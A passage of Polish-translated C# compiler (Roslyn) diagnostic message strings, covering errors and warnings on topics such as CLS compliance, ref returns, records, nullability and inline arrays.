zestawie + Wartość domyślna parametru „{0}” musi być stałą czasu kompilacji + Program nie zawiera statycznej metody „Main” odpowiedniej jako punkt wejścia + Nie można zwrócić podstawowego parametru konstruktora '{0}' przez odwołanie. + Składowa rekordu „{0}” nie może być statyczna. + Ten błąd występuje w przypadku odnalezienia wstępnie zdefiniowanego typu, takiego jak System.Int32, w dwóch zestawach. Może się tak dziać, gdy utworzono odwołanie do elementu mscorlib lub biblioteki System.Runtime.dll w dwóch różnych miejscach, na przykład podczas próby uruchomienia dwóch wersji programu .NET Framework obok siebie. + Nie można zwrócić przez referencję składowej elementu „{0}”, ponieważ została ona zainicjowana przy użyciu wartości, której nie można zwrócić przez referencję + Wymagana składowa „{0}” nie może być ukrywana przez „{1}”. + Metody ze zmiennymi argumentami nie są zgodne ze specyfikacją CLS + Użyj metody Microsoft.CodeAnalysis.CSharp.SyntaxFactory.Literal do utworzenia tokenów literałów liczbowych. + Obie deklaracje metody częściowej muszą być statyczne albo żadna z nich nie może być statyczna. + „{0}” to nie jest typ referencyjny wymagany przez instrukcję lock + Element „{0}” nie implementuje wzorca „{1}”. Element „{2}” nie jest wystąpieniem publicznym ani metodą rozszerzenia. + Asynchroniczna instrukcja foreach nie może używać zmiennych typu „{0}”, ponieważ implementuje wiele utworzeń wystąpienia elementu „{1}”. Spróbuj rzutowania na konkretne utworzenie wystąpienia interfejsu + Pole odwołania powinno zostać przypisane ponownie przed użyciem. + Statycznego pola tylko do odczytu nie można zwrócić przez zapisywalne odwołanie + Asynchroniczna instrukcja foreach nie może operować na zmiennych typu „{0}”, ponieważ typ „{0}” nie zawiera publicznego wystąpienia lub definicji rozszerzenia dla elementu „{1}”. Czy planowano użyć instrukcji „foreach”, a nie „await foreach”? + Nie można zadeklarować zaznaczonego operatora konwersji zdefiniowanego przez użytkownika „implicit” + Interfejsy zgodne ze specyfikacją CLS muszą mieć tylko składowe zgodne ze specyfikacją CLS + Dodane moduły muszą być oznaczone atrybutem CLSCompliant, aby były zgodne z zestawem + „{0}”: parametr, zmienna lokalna lub funkcja lokalna nie może mieć tej samej nazwy co parametr typu metody + Typ zwracany nie jest zgodny ze specyfikacją CLS + Błąd podczas otwierania pliku ikony {0} — {1} + Obiekt „{0}” nie może implementować elementu członkowskiego interfejsu „{1}” w ramach typu „{2}”, ponieważ zawiera on parametr __arglist + Załadowany zestaw odwołuje się do platformy .NET Framework, co nie jest obsługiwane. + Ta kombinacja argumentów „{0}” może uwidaczniać zmienne przywoływane przez parametr „{1}” poza zakresem deklaracji + Nie można wnioskować typu wprowadzonej niejawnie zmiennej dekonstrukcji „{0}“. + Nie można użyć składowej w tym atrybucie. + Ograniczenia dla przesłoniętych i jawnych metod implementacji interfejsu są dziedziczone z metody podstawowej, dlatego nie mogą być określone bezpośrednio, chyba że są to ograniczenia „class” lub „struct”. + Określono nieprawidłową nazwę pliku dla dyrektywy preprocesora + Podstawowy parametr konstruktora struktury '{0}' typu '{1}' powoduje cykl w układzie struktury + „{0}” jest zdefiniowany w zestawie „{1}”. + W przypadku znaku „{0}” należy zastosować ucieczkę (przez wpisanie dwóch takich znaków) w ciągu interpolowanym. + Konwertowanie grupy metod „{0}” na typ inny niż delegowany „{1}”. Czy zamierzasz wywołać metodę? + metoda rozszerzenia + Wyrażenie nie ma nazwy. + Interceptor musi mieć parametr „this” zgodny z parametrem „{0}” w „{1}”. + Wystąpił nieoczekiwany błąd podczas zapisywania informacji debugowania — „{0}” + Kompilacja (C#): + Typ nie jest zgodny ze specyfikacją CLS + Nie można przekonwertować na typ statyczny „{0}”. + Typ nie ma dostępnych konstruktorów używających tylko typów zgodnych ze specyfikacją CLS + Składowa jest zwracana przez odwołanie, ale została zainicjowany do wartości, która nie może być zwracana przez odwołanie + 'Elementu „{0}” nie można oznaczyć jako zgodnego ze specyfikacją CLS, ponieważ jest to składowa typu „{1}” niezgodnego ze specyfikacją CLS + Wyrażenie filtru jest stałą wartością „false”, rozważ usunięcie klauzuli catch + typy anonimowe + Stałej „{0}” nie można oznaczyć jako statycznej + W tym kontekście nie można użyć właściwości lub indeksatora „{0}”, ponieważ brakuje dla niej metody dostępu Get. + Automatycznie implementowane właściwości wystąpienia w strukturach tylko do odczytu muszą być tylko do odczytu. + Oczekiwano zwracanego typu podobnego do zadania ogólnego, ale typ "{0}" znaleziony w atrybucie "AsyncMethodBuilder" był nieodpowiedni. Musi to być niepowiązany typ ogólny jednego argumentu, a zawarty w nim typ (jeśli występuje), nie może być ogólny. + Właściwości wystąpienia w interfejsach nie mogą mieć inicjatorów. + Określona wersja „{0}” języka nie może mieć zer wiodących + Inicjator modułu nie może mieć atrybutu „UnmanagedCallersOnly”. + Błąd podczas otwierania pliku odpowiedzi „{0}” + Najlepsza przeciążona metoda Add dla elementu inicjatora kolekcji jest przestarzała + Dopuszczanie wartości null dla typów referencyjnych w typie parametru nie jest zgodne z docelowym delegatem (prawdopodobnie z powodu atrybutów dopuszczania wartości null). + zapieczętowany obiekt ToString w rekordzie + Niespójność dostępności: typ zwracany „{1}” jest mniej dostępny niż operator „{0}” + Nieużywany alias zewnętrzny. + Odwołanie do zmiennej wyjściowej z niejawnym typem „{0}” jest niedozwolone na tej samej liście argumentów. + Brak częściowego modyfikatora w deklaracji typu „{0}”. Istnieje inna częściowa deklaracja tego typu + Nie można przekonwertować wyrażenia na „{0}”, ponieważ nie jest to zmienna możliwa do przypisania + „{0}”: nie można przesłonić, ponieważ element „{1}” nie ma metody dostępu set, którą można przesłonić + Brak wzorca + Alias zewnętrzny „{0}” nie został określony w opcji /reference. + „{0}” nie jest rozpoznawaną lokalizacją atrybutu. Prawidłowe lokalizacje atrybutu dla tej deklaracji to „{1}”. Wszystkie atrybuty w tym bloku zostaną zignorowane. + Element __arglist nie może mieć argumentu typu void + Parametr „{0}” musi być deklarowany za pomocą słowa kluczowego „{1}” + Interfejs „{0}” zawiera nieprawidłowy interfejs źródłowy wymagany do osadzenia zdarzenia „{1}”. + Nie można użyć najlepiej dopasowanej przeciążonej metody Match „{0}” dla elementu inicjatora kolekcji. Metody „Add” inicjatora kolekcji nie mogą mieć parametrów ref ani out. + Typ jest przeznaczony wyłącznie do celów ewaluacyjnych i może zostać zmieniony albo usunięty w przyszłych aktualizacjach. + Operator „&” nie powinien być używany w parametrach ani zmiennych lokalnych w metodach asynchronicznych. + „{0}”: nie znaleziono odpowiedniej metody do przesłonięcia + <lista ścieżek> + Nie można zmodyfikować składowych „{0}”, ponieważ jest to „{1}” + „{0}”: tylko składowe zgodne ze specyfikacją CLS mogą być abstrakcyjne + Niepotrzebna dyrektywa using + Nie można połączyć plików zasobów podczas kompilowania modułu + <globalna przestrzeń nazw> + Cykliczna zależność ograniczenia obejmująca elementy „{0}” i „{1}”. + 'Element „{0}” definiuje operator == lub !=, lecz nie przesłania metody Object.GetHashCode() + Obsługiwane wersje językowe: + Nazwa „_” odwołuje się do stałej, a nie do wzorca odrzucania. Użyj elementu „var _”, aby odrzucić wartość, lub użyj elementu „@_”, aby odwołać się do stałej za pomocą tej nazwy. + Jeden z parametrów operatora binarnego musi być typem zawierającym + „{0}” nie implementuje „{1}” + Nie można uzyskać dostępu do składowej chronionej „{0}” za pośrednictwem kwalifikatora typu „{1}”. Wymagany jest kwalifikator typu „{2}” (lub typu pochodzącego od tego typu). + Literały nieprzetworzonego ciągu są niedozwolone w dyrektywach preprocesora. + Brak wymaganej przez kompilator składowej „{0}.{1}”. + Atrybuty zestawów i modułów nie są dozwolone w tym kontekście + Oczekiwano jednowierszowego komentarza lub znacznika końca wiersza. + Składowa nie ukrywa dziedziczonej składowej; słowo kluczowe new nie jest wymagane + Typ konstruktora CollectionBuilderAttribute musi być klasą lub strukturą nie ogólną. + Struktury bez jawnych konstruktorów nie mogą zawierać składowych z inicjatorami. + „{0}”: klas statycznych nie można używać jako ograniczeń + Typ zwracany metody asynchronicznej musi być elementem void, Task lub Task<T>, typem podobnym do zadania albo elementem IAsyncEnumerable<T> lub IAsyncEnumerator<T> + Komentarz XML ma atrybut cref „{0}”, którego nie można rozpoznać + Nie można odnaleźć nazwy typu „{0}” w przestrzeni nazw „{1}”. Ten typ został przesłany dalej do zestawu „{2}”. Rozważ możliwość dodania odwołania do tego zestawu. + Metoda „{0}” określa ograniczenie „class” dla parametru typu „{1}”, lecz odpowiadający parametr typu „{2}” przesłoniętej lub jawnie zaimplementowanej metody „{3}” nie jest typem referencyjnym. + Instrukcja foreach nie może działać względem elementu „{0}”. Czy element „{0}” miał być wywołany? + Odwołanie do pola nietrwałego nie będzie traktowane jak nietrwałe + Dostęp do składowej pola w klasie marshal-by-reference może spowodować wystąpienie wyjątku czasu wykonywania + Typ pola nie może być typem void + Nie można przechwycić możliwej nazwy metody „{0}”, ponieważ nie jest ona wywoływana. + Typ podstawowy nie jest zgodny ze specyfikacją CLS + Elementy podstawowego parametru konstruktora '{0}' typu tylko do odczytu nie mogą być modyfikowane (z wyjątkiem inicjującego settera typu lub inicjalizatora zmiennej) + Metody rozszerzenia muszą być zdefiniowane w statycznych klasach najwyższego poziomu. „{0}” to klasa zagnieżdżona + Konwencja wywoływania elementu „{0}” nie jest obsługiwana przez język. + Moduł „{0}” jest już zdefiniowany w tym zestawie. Nazwa pliku każdego modułu musi być unikatowa. + Atrybuty w tym kontekście są nieprawidłowe. + bufory o ustalonym rozmiarze + Użycie średnika po bloku metody lub metody dostępu jest nieprawidłowe. + Składowe elementu {0} „{1}” nie mogą być używane jako wartość ref ani out, ponieważ jest to zmienna tylko do odczytu + Nie można zadeklarować operatora „{0}” zdefiniowanego przez użytkownika + Osadzenie typu międzyoperacyjnego „{0}” z zestawu „{1}” powoduje konflikt nazw w bieżącym zestawie. Rozważ ustawienie wartości false dla właściwości „Osadź typy międzyoperacyjne”. + Metody ze zmiennymi argumentami nie są zgodne ze specyfikacją CLS + „{0}”: modyfikatorów dostępności można używać tylko wtedy, gdy właściwość lub indeksator mają metody dostępu Get i Set + Nie można zdefiniować klasy ani składowej korzystającej z typu „dynamic”, ponieważ nie można odnaleźć wymaganego przez kompilator typu „{0}”. Czy brakuje odwołania? + Modyfikator „abstract” w polach jest nieprawidłowy. Spróbuj zamiast niego użyć właściwości. + Konstruktor kopiujący „{0}” musi być publiczny lub chroniony, ponieważ rekord nie jest zapieczętowany. + włącz typ wartości logicznej + Wynikiem wyrażenia jest zawsze element „null” typu „{0}” + Obsługa wartości null dla typów referencyjnych w typie parametru „{0}” jest niezgodna z częściową deklaracją metody. + Atrybut CLSCompliant nie ma znaczenia w przypadku zastosowania go do typów zwracanych + Nie można przekonwertować bloku „{0}” na zamierzony typ delegowany, ponieważ niektóre typy zwracane występujące w bloku nie umożliwiają niejawnej konwersji na zwracany typ delegowany + Brak komentarza XML dla widocznego publicznie typu lub składowej „{0}” + Składowa „{0}” implementuje składową interfejsu „{1}” w typie „{2}”. W czasie wykonywania składowa interfejsu jest zgodna z wieloma metodami. Od implementacji zależy, która metoda zostanie wywołana. + Kompilator emituje to ostrzeżenie w przypadku przesłonięcia błędu z ostrzeżeniem. Aby uzyskać informacje dotyczące tego problemu, wyszukaj podany kod błędu. + zmienna użycia + Ograniczenie new() musi być ostatnim określonym ograniczeniem + 'Element „{0}” znajduje się już na liście interfejsów w typie „{2}” z różnymi nazwami elementów krotki jako „{1}”. + Argumentu typu „{0}” nie można użyć jako danych wyjściowych typu „{1}” dla parametru „{2}” w elemencie „{3}” z powodu różnic w dopuszczalności wartości null przez typy referencyjne. + pola referencyjne + Do pola „{0}” nigdy nie jest przypisywana wartość i będzie ono mieć zawsze wartość domyślną {1} + Odwołanie do przyjaznego zestawu „{0}” jest nieprawidłowe. Zestawy podpisane silnymi nazwami muszą określać klucz publiczny w swoich deklaracjach InternalsVisibleTo. + Typ nie jest zgodny ze specyfikacją CLS, ponieważ interfejs podstawowy nie jest zgodny ze specyfikacją CLS + Typ „{1}” już definiuje składową o nazwie „{0}” z tymi samymi typami parametrów + <!-- Badly formed XML comment ignored for member "{0}" --> + Struktura tablicy śródwierszowej nie może mieć układu jawnego. + Nie można przekonwertować bloku metody anonimowej bez listy parametrów na typ delegowany „{0}”, ponieważ ma on jeden lub kilka parametrów out + Dopuszczanie wartości null dla typu parametru „{0}” nie jest zgodne z przesłoniętą składową (prawdopodobnie z powodu atrybutów dopuszczania wartości null). + Atrybut „{0}” jest prawidłowy tylko w przypadku metod lub klas atrybutów + Długość tablicy śródwierszowej musi być większa niż 0. + W tym kontekście nie można użyć słowa kluczowego „void”. + Wyrażenie switch nie obsługuje niektórych danych wejściowych o wartości null (nie jest kompletne). Na przykład wzorzec „{0}” nie jest uwzględniony. Jednak wzorzec z klauzulą „when” może być zgodny z tą wartością. + Funkcja języka "Inline arrays" nie jest obsługiwana w przypadku wbudowanych typów tablic z polem elementu, które jest polem "ref" lub ma typ, który nie jest prawidłowy jako argument typu. + Przestrzeń nazw „{0}” już zawiera definicję dla „{1}” + Element items: nie może być pusty + ustaw funkcje lokalne jako zewnętrzne + Oczekiwano identyfikatora lub literału liczbowego. + Komentarz XML elementu „{1}” ma tag paramref dla elementu „{0}”, lecz nie ma parametru o takiej nazwie + Oczekiwano operatora jednoargumentowego z możliwością przeciążenia. + Zwraca to przez odwołanie składową parametru „{0}”, który nie jest parametrem ref ani out + Nie można wyszukać składowej innej niż wirtualna w elemencie „{0}”, ponieważ to jest parametr typu + Wzorzec podrzędny właściwości wymaga odwołania do właściwości lub pola, które należy dopasować, na przykład „{{ Name: {0} }}” + Nazwa modułu „{0}” przechowywana w elemencie „{1}” musi być zgodna z nazwą jego pliku. + Nie można przekonwertować literału o wartości null na nienullowalny typ referencyjny. + Użycie elementu „{0}” jako wartości ref lub out albo pobranie jego adresu może spowodować wyjątek czasu wykonywania, ponieważ to jest pole klasy marshal-by-reference + Określony ciąg wersji „{0}” nie jest zgodny z zalecanym formatem — major.minor.build.revision + Zwraca to przez odwołanie składową parametru, który nie jest parametrem ref ani out + „{0}”: elementy tablicy nie mogą być typu statycznego + konstruktor + Element SyntaxTree nie jest częścią kompilacji, więc nie można go usunąć + Nie można określić typu wyrażenia warunkowego, ponieważ nie istnieje niejawna konwersja między elementem „{0}” i „{1}” + Nie można przypisać wartości do elementu „{0}”, ponieważ jest to „{1}”. + Zdarzenie „{0}” może występować tylko po lewej stronie symboli += lub -= (z wyjątkiem sytuacji, w której używane jest z wnętrza typu „{1}”) + Właściwości lub indeksatora „{0}” nie można użyć w tym kontekście, ponieważ metoda dostępu Set jest niedostępna. + Modyfikator „scoped” 'parametru „{0}” nie jest zgodny z 'elementem docelowym „{1}”. + {0} nie jest prawidłowym wyrażeniem konwersji języka C#. + Nazwany argument „{0}” określa parametr, dla którego argument pozycyjny został już wskazany. + Nie można przekonwertować grupy metod „{0}” na typ niedelegowany „{1}”. Czy zamierzasz wywołać metodę? + Opcja /win32manifest dla modułu zostanie zignorowana, ponieważ dotyczy tylko zestawów + Instrukcja foreach wymaga, aby typ zwracany „{0}” dla elementu „{1}” miał odpowiednią metodę publiczną „MoveNext” i właściwość publiczną „Current” + (Lokalizacja symbolu związanego z poprzednim ostrzeżeniem) + Inicjatora tablicy można użyć tylko w inicjatorze zmiennej lub pola. Zamiast tego spróbuj użyć wyrażenia „new”. + <null> + <tekst> + domyślne ograniczenia parametru typu + Niezgodność odwołań między metodą „{0}” a delegatem „{1}” + „{0}”: nie można przesłonić, ponieważ element „{1}” nie jest funkcją + niejawnie typizowana zmienna lokalna + Składowa rekordu "{0}" musi być możliwą do odczytu właściwością wystąpienia typu "{1}", aby dopasować parametr pozycyjny "{2}". + Element „{0}” nie może implementować składowej interfejsu „{1}” w typie „{2}”, ponieważ docelowe środowisko uruchomieniowe nie obsługuje domyślnej implementacji interfejsu. + Struktura tablicy śródwierszowej musi deklarować jedno i tylko jedno pole wystąpienia. + Wstępnie zdefiniowany typ „{0}” musi być strukturą. + Dostęp do tablicy śródwierszowej nie może mieć specyfikatora argumentu nazwanego + niejawnie typizowana tablica + Użyj metody Microsoft.CodeAnalysis.CSharp.SyntaxFactory.Identifier lub Microsoft.CodeAnalysis.CSharp.SyntaxFactory.VerbatimIdentifier do utworzenia tokenów identyfikatorów. + Słowo kluczowe „delegat” nie może być używane jako ograniczenie. Czy chodziło Ci o „System.Delegate”? + „{0}”: typ użyty w instrukcji using musi umożliwiać niejawną konwersję na interfejs „System.IDisposable”. + Możliwe niezamierzone porównanie odwołań. Aby porównać wartości, wykonaj rzutowanie lewej strony na typ „{0}” + Nieprawidłowy specyfikator rangi: oczekiwano „,” lub „]” + Metoda dostępu do właściwości jest już zdefiniowana + Nie można zainicjować zmiennej o typie określonym niejawnie za pomocą inicjatora tablicy + W stałej występuje symbol przejścia do następnego wiersza + Oczekiwano opcji „warnings” lub „annotations” albo końca dyrektywy + Nie można utworzyć wystąpienia analizatora + Treść „{0}” nie może być blokiem iteratora, ponieważ „{1}” nie jest typem interfejsu iteratora + Wyrażenie przypisane do elementu „{0}” musi być stałą + Rozmiaru tablicy nie można określić w deklaracji zmiennej (spróbuj przeprowadzić inicjowanie przy użyciu wyrażenia „new”) + Wyrażenie filtru jest stałą wartością „false”. + „{0}”: nie może istnieć inicjator zdarzenia abstrakcyjnego + Zostało zaimportowanych wiele zestawów o równoważnej tożsamości: „{0}” i „{1}”. Usuń jedno ze zduplikowanych odwołań. + „{0}”: typ użyty w instrukcji using musi umożliwiać niejawną konwersję na interfejs „System.IDisposable”. Czy chodziło Ci o instrukcję „await using”, a nie „using”? + Typ „{1}” w elemencie „{0}” powoduje konflikt z przestrzenią nazw „{3}” w elemencie „{2}” + Dane wejściowe zawsze są zgodne z podanym wzorcem. + Parametr „{0}” jest przechwytywany w stanie otaczającego typu, a jego wartość jest również używana do inicjowania pola, właściwości lub zdarzenia. + Zastosowanie elementu CallerLineNumberAttribute nie odniesie żadnego skutku, ponieważ dotyczy on składowej, która jest używana w kontekstach niezezwalających na argumenty opcjonalne + Oczekiwano typu + Pozycja musi znajdować się w zasięgu drzewa składni. + inicjatory modułów + Drzewo wyrażenia nie może zawierać inicjatora tablicy wielowymiarowej. + Docelowe środowisko uruchomieniowe nie obsługuje rozszerzalnych ani domyślnych dla środowiska uruchomieniowego konwencji wywoływania. + Argument InterpolatedStringHandlerArgument nie odniesie żadnego skutku po zastosowaniu do parametrów lambda i zostanie zignorowany w lokacji wywołania. + Interfejsy nie mogą zawierać pól wystąpienia + Nie można zwrócić elementu „{0}” przez referencję, ponieważ został on zainicjowany przy użyciu wartości, której nie można zwrócić przez referencję + Globalne używające dyrektywy muszą poprzedzać wszystkie nieglobalne używające dyrektywy. + Nieoczekiwane użycie nazwy z aliasem + Tablicy parametrów nie można używać z modyfikatorem „this” w metodzie rozszerzenia. + Wywołanie metody „{0}” musi być przydzielane dynamicznie, lecz to nie jest możliwe, ponieważ jest ona częścią wyrażenia dostępu bazowego. Rozważ rzutowanie argumentów dynamicznych lub wyeliminowanie dostępu bazowego. + Automatycznie implementowana właściwość musi być w pełni przypisana, zanim kontrolka zostanie zwrócona do obiektu wywołującego. Rozważ zaktualizowanie do wersji językowej, aby automatycznie ustawić domyślną właściwość. + „{0}”: typ nie może być jednocześnie statyczny i zapieczętowany + Wszystkie częściowe deklaracje elementu "{0}" muszą być klasami, klasami rekordów, strukturami rekordów lub interfejsami + Element GetEnumerator rozszerzenia + Nazwa typu „{0}” zawiera tylko małe litery ascii. Takie nazwy mogą zostać zarezerwowane dla języka. + Pole zgodne ze specyfikacją CLS „{0}” nie może mieć specyfikatora volatile + Tej wersji elementu „{0}” nie można używać z wyrażeniami kolekcji. + Oczekiwano kontekstowego słowa kluczowego „equals” + 'Składnia „id#” nie jest już używana. Zamiast niej użyj składni „$id”. + Podana liczba wierszy i znaków nie odwołuje się do początku tokenu „{0}”. Czy chodziło Ci o użycie wiersza „{1}” i znaku „{2}”? + Punkt wejścia programu to kod globalny; punkt wejścia jest ignorowany + Obsługa wartości null dla typów referencyjnych w typie parametru „{0}” „{1}” jest niezgodna z niejawnie implementowaną składową „{2}”. + Pole nie jest nigdy używane + Obiektu „{0}” nie można usunąć więcej niż raz. + Drzewo wyrażenia nie może zawierać operatora == ani != krotki. + Element „{0}” nie implementuje składowej interfejsu „{1}”. Element „{2}” nie może implementować elementu „{1}”, ponieważ nie ma pasującej wartości zwracanej przez referencję. + Elementu „{0}” nie można użyć jako modyfikatora w parametrze wskaźnika funkcji. + Do buforów o ustalonym rozmiarze można uzyskać dostęp tylko przez elementy lokalne lub pola + Komentarz XML elementu „{1}” ma tag typeparamref dla elementu „{0}”, lecz nie ma parametru typu o takiej nazwie + Jeden z parametrów operatora równości lub nierówności zadeklarowanego w interfejsie „{0}” musi być parametrem typu w przypadku „{0}” ograniczonego do „{0}” + literały nieprzetworzonego ciągu + wyrażenie warunkowe o typie docelowym + zastąpienie konstruktora metodą asynchroniczną + W ramach atrybutów cref zagnieżdżone typy typów ogólnych powinny być kwalifikowane + Drzewo wyrażenia nie może zawierać specyfikacji argumentu nazwanego + Nieprawidłowy typ elementu docelowego dla opcji /target: musisz podać typ „exe”, „winexe”, „library” lub „module” + Nie można przypisać wartości do statycznego pola tylko do odczytu (jest to możliwe tylko w konstruktorze statycznym lub w inicjatorze zmiennej). + Nie można uzyskać dostępu do składowej „{0}” przy użyciu odwołania do wystąpienia. Należy użyć nazwy typu jako kwalifikatora. + Możliwe niepoprawne przypisanie do zmiennej lokalnej będącej argumentem instrukcji using lub lock + Wymagana składowa „{0}” nie powinna mieć atrybutu „ObsoleteAttribute”, chyba że zawierający typ jest przestarzały lub wszystkie konstruktory są przestarzałe. + Statyczna funkcja anonimowa nie może zawierać odwołania do elementu „{0}”. + Sterowanie nie może opuścić treści klauzuli finally + Parametr '{0}' jest przechwytywane do stanu otaczającego typu, a jego wartość jest również przekazywana do konstruktora podstawowego. Wartość może zostać również przechwycona przez klasę bazową. + Węzeł składni znajduje się poza drzewem składni + Wartości zwracane przez referencję mogą być używane tylko w metodach zwracających wartość przez referencję + Możliwe zwrócenie odwołania o wartości null. + Nie można użyć typu „{3}” jako parametru typu „{2}” w typie ogólnym lub metodzie „{0}”. Obsługa wartości null w argumencie typu „{3}” jest niezgodna z typem ograniczenia „{1}”. + Dane wyrażenie zawsze jest zgodne z podanym wzorcem. + Typu „{0}” nie można zadeklarować jako const + Nie porównuj wartości wskaźników funkcji + Metody asynchroniczne nie mogą zawierać parametrów ref, in ani out + Kontrolka nie może wykraczać poza przełącznik z końcowej etykiety case („{0}”) + Dyrektywa using dla elementu „{0}” już wystąpiła w tej przestrzeni nazw + Właściwość, indeksator lub zdarzenie „{0}” nie jest obsługiwane przez język. Spróbuj bezpośrednio wywołać metodę dostępu „{1}”. + Właściwość, indeksator lub zdarzenie „{0}” nie jest obsługiwane przez język. Spróbuj bezpośrednio wywołać metody dostępu „{1}” lub „{2}”. + „{0}”: zdefiniowane przez użytkownika konwersje na lub z interfejsu nie są dozwolone + Nie używaj opcji refout, gdy używana jest opcja refonly. + Nie można użyć parametru ref, out ani in „{0}” wewnątrz metody anonimowej, wyrażenia lambda, wyrażenia zapytania lub funkcji lokalnej + Wynikiem wyrażenia jest zawsze wartość „null” + Wyemitowanie modułu „{0}” nie powiodło się: {1} + wyrażenie throw + Metoda „{0}” nie może implementować metody dostępu interfejsu „{1}” dla typu „{2}”. Użyj jawnej implementacji interfejsu. + atrybuty funkcji lokalnych + Alias „{0}” jest w konflikcie z definicją {1} + 'Element „{0}” nie zawiera definicji „{1}”. + Za duża wartość stałej całkowitej + Nie można znaleźć pliku. + Deklaracja jest niedozwolona w tym kontekście. + Punkt wejścia zwracający wartości void lub int nie może być asynchroniczny + Komentarz XML ma tag typeparamref, ale nie ma parametru typu o takiej nazwie + Nazwa lokalna jest za długa dla pliku PDB + Atrybut Guid musi być określony z atrybutem ComImport + Obsługa wartości null dla typów referencyjnych w typie parametru „{0}” jest niezgodna z przesłoniętą składową. + Nie można użyć instrukcji yield z wartością w treści bloku try z klauzulą catch. + Implementacja interfejsu jawnego jest zgodna z więcej niż jedną składową interfejsu + W czasie kompilowania modułu lub biblioteki nie można określić opcji /main + Nie można użyć kolekcji typu dynamicznego w asynchronicznej instrukcji foreach + Obsługa wartości null dla typów referencyjnych w typie zwracanym jest niezgodna z niejawnie implementowaną składową. + Typ jest przeznaczony wyłącznie do celów ewaluacyjnych i może zostać zmieniony albo usunięty w przyszłych aktualizacjach. Wstrzymaj tę diagnostykę, aby kontynuować. + statyczna funkcja anonimowa + Argument {0} powinien zostać przekazany ze słowem kluczowym "ref" lub "in" + Wyrażenie typu „{0}” jest niedozwolone w kolejnej klauzuli from w wyrażeniu zapytania z typem źródłowym „{1}”. Wnioskowanie typu nie powiodło się w wywołaniu elementu „{2}”. + operator propagowania wartości null + Zestawy „{0}” i „{1}” odwołują się do tych samych metadanych, ale tylko jeden z nich jest odwołaniem połączonym (określonym za pomocą opcji /link); rozważ usunięcie jednego z odwołań. + zwroty kowariantne + kowariantny + Nieoczekiwana lista argumentów. + Składowe o nazwie „Clone” są niedozwolone w rekordach. + Pola buforu o ustalonym rozmiarze mogą być tylko składowymi struktur. + Drzewo wyrażenia nie może zawierać konwersji krotki. + Wiersz nie rozpoczyna się od tego samego odstępu co wiersz zamykający literału nieprzetworzonego ciągu. + statyczne abstrakcyjne składowe w interfejsach + Nie można odczytać pliku konfiguracyjnego „{0}” — „{1}” + W wywołaniu niejawnego indeksatora indeksu nie może być nazwy argumentu. + Asynchronicznych wyrażeń lambda nie można konwertować na drzewa wyrażeń. + Parametr typu „{1}” ma ograniczenie „struct”, dlatego elementu „{1}” nie można użyć jako ograniczenia dla „{0}”. + składowa wystąpienia w elemencie „nameof” + Wstępnie zdefiniowany typ „{0}” nie został zdefiniowany ani zaimportowany. + Operacja może się przepełnić w środowisku uruchomieniowym „{0}” (użyj składni „niezaznaczone”, aby zastąpić) + Nie można użyć możliwej wartości null dla typu oznaczonego jako [NotNull] lub [DisallowNull] + Metoda dostępu „init” jest nieprawidłowa w składowych statycznych + Argument typu nie może mieć wartości null + Deklaracja aliasu zewnętrznego musi poprzedzać wszystkie inne elementy zdefiniowane w przestrzeni nazw + Nieprawidłowa opcja „{0}” dla opcji /platform; wymagana wartość to anycpu, x86, Itanium, arm, arm64 lub x64 + Argument atrybutu „{0}” musi być prawidłowym identyfikatorem + zmienne pętli for odwołania + Zastosowanie elementu CallerMemberNameAttribute do parametru „{0}” nie odniesie żadnego skutku. Jest on przesłaniany przez element CallerFilePathAttribute. + Dostęp do elementów typu tablicy śródwierszowej można uzyskiwać tylko z pojedynczym argumentem, który można niejawnie przekonwertować na wartości „int”, „System.Index” lub „System.Range”. + Niespójność dostępności: typ zwracany „{1}” jest mniej dostępny niż obiekt delegowany „{0}” + Atrybutu zabezpieczeń „{0}” nie można zastosować dla metody asynchronicznej. + Atrybuty zestawu i modułu muszą występować przed wszystkimi innymi elementami zdefiniowanymi w pliku poza klauzulami using i deklaracjami aliasów zewnętrznych + Typ nie może być używany w tym kontekście, ponieważ nie może być reprezentowany w metadanych. + Utworzono odwołanie do osadzonego zestawu międzyoperacyjnego z powodu pośredniego odwołania do tego zestawu + Składowa struktury zwraca element „this” lub inne składowe wystąpienia według odwołania + Niezarządzany typ „{0}” jest prawidłowy tylko dla pól. + Nie można było określić katalogu wyjściowego + Wielowierszowe literały nieprzetworzonych ciągów muszą zawierać co najmniej jeden wiersz zawartości. + Drugi operand operatora „is” lub „as” nie może być typem statycznym „{0}” + Przeciążony operator jednoargumentowy „{0}” przyjmuje jeden parametr + Nie można użyć niezabezpieczonego typu „{0}” do tworzenia obiektów + Liczba wierszy i znaków przekazana do atrybutu InterceptsLocationAttribute musi być dodatnia. + Wymagane są nawiasy wokół wyrażenia sterującego instrukcją switch. + Użycie nieprzypisanego parametru ze specyfikatorem out „{0}” + kontrawariantny + Parametr '{0}' jest nieodczytany. + Atrybut Conditional jest nieprawidłowy w składowych interfejsu + Nie można zmodyfikować wyniku konwersji rozpakowującej + Parametry „ref” i „out” są nieprawidłowe w tym kontekście + Tag końcowy „{0}” nie jest zgodny z tagiem początkowym „{1}”. + Prawa strona przypisania instrukcji fixed nie może być wyrażeniem rzutowania + metody rozszerzenia ref + Nie można modyfikować składowych pola tylko do odczytu „{0}” (z wyjątkiem składowych w konstruktorze lub inicjatorze zmiennych). + Przyjęto, że odwołanie do zestawu „{0}” używane przez element „{1}” jest zgodne z tożsamością „{2}” elementu „{3}” — może być konieczne określenie zasad wykonywania + Typy krotek używane jako operandy operatorów == lub != muszą mieć zgodne kardynalności. Ten operator zawiera natomiast typy krotek o kardynalności {0} z lewej strony i {1} z prawej strony. + Wartość SecurityAction „{0}” jest nieprawidłowa dla atrybutów zabezpieczeń zastosowanych dla zestawu + Element „{0}” nie przesłania oczekiwanej metody z elementu „object”. + Zmienna zakresu „{0}” powoduje konflikt z poprzednią deklaracją zmiennej „{0}” + Element GetAsyncEnumerator rozszerzenia + Typ „{2}” musi być nienullowalnym typem wartości (podobnie jak wszystkie pola na wszystkich poziomach zagnieżdżenia), aby można było używać go jako parametru „{1}” w typie ogólnym lub metodzie ogólnej „{0}” + Nie można znaleźć nazwy typu lub przestrzeni nazw „{0}” (brak dyrektywy using lub odwołania do zestawu?) + Oczekiwano kontekstowego słowa kluczowego „on” + Oczekiwano kontekstowego słowa kluczowego „by” + Nie można użyć typu „{3}” jako parametru typu „{2}” w typie ogólnym lub metodzie „{0}”. Brak konwersji pakującej z „{3}” na „{1}”. + Metoda rozszerzenia musi być statyczna. + Nieprawidłowy zwracany typ w atrybucie cref komentarza XML + 'Element „{0}” jest przestarzały: „{1}” + Zestaw {0} nie zawiera żadnych analizatorów. + Treść metody iteratora 